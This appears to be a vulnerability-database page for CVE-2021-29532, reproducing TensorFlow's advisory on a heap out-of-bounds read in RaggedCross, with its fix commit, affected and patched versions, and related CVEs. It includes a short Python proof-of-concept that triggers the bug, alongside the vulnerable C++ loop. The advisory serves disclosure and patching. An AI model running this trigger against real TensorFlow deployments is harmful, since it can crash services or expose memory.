CVE-2021-29532Low· 2.5▾ SunlitHeap out of bounds read in `RaggedCross`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 13.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.raw_ops.RaggedCross:
import tensorflow as tf
ragged_values = []
ragged_row_splits = []
sparse_indices = []
sparse_values = []
sparse_shape = []
dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]
input_order = "R"
hashed_output = False
num_buckets = 0
hash_key = 0
tf.raw_ops.RaggedCross(ragged_values=ragged_values,
ragged_row_splits=ragged_row_splits,
sparse_indices=sparse_indices,
sparse_values=sparse_values,
sparse_shape=sparse_shape,
dense_inputs=dense_inputs,
input_order=input_order,
hashed_output=hashed_output,
num_buckets=num_buckets,
hash_key=hash_key,
out_values_type=tf.int64,
out_row_splits_type=tf.int64)
This is because the implementation lacks validation for the user supplied arguments:
int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
if (c == 'R') {
TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
features));
next_ragged++;
} else if (c == 'S') {
TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
batch_size, features));
next_sparse++;
} else if (c == 'D') {
TF_RETURN_IF_ERROR(
BuildDenseFeatureReader(dense_list[next_dense++], features));
}
...
}
Each of the above branches call a helper function after accessing array elements via a *_list[next_*] pattern, followed by incrementing the next_* index. However, as there is no validation that the next_* values are in the valid range for the corresponding *_list arrays, this results in heap OOB reads.
We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
tensorflow < 2.1.4tensorflow >= 2.2.0, < 2.2.3tensorflow >= 2.3.0, < 2.3.3tensorflow >= 2.4.0, < 2.4.2tensorflow-cpu < 2.1.4tensorflow-cpu >= 2.2.0, < 2.2.3tensorflow-cpu >= 2.3.0, < 2.3.3tensorflow-cpu >= 2.4.0, < 2.4.2tensorflow-gpu < 2.1.4tensorflow-gpu >= 2.2.0, < 2.2.3tensorflow-gpu >= 2.3.0, < 2.3.3tensorflow-gpu >= 2.4.0, < 2.4.2Upgrade to a patched release:
tensorflow 2.1.4tensorflow 2.2.3tensorflow 2.3.3tensorflow 2.4.2tensorflow-cpu 2.1.4tensorflow-cpu 2.2.3tensorflow-cpu 2.3.3tensorflow-cpu 2.4.2tensorflow-gpu 2.1.4tensorflow-gpu 2.2.3tensorflow-gpu 2.3.3tensorflow-gpu 2.4.2Connected by shared product, vendor, weakness, or advisory.
CVE-2021-29541Low· 2.5Null pointer dereference in `StringNGrams`
CVE-2021-29525Low· 2.5Division by 0 in `Conv2DBackpropInput`
CVE-2021-29527Low· 2.5Division by 0 in `QuantizedConv2D`
CVE-2021-29524Low· 2.5Division by 0 in `Conv2DBackpropFilter`
CVE-2020-15207High· 8.7Segfault and data corruption in tensorflow-lite
CVE-2021-29535Low· 2.5Heap buffer overflow in `QuantizedMul`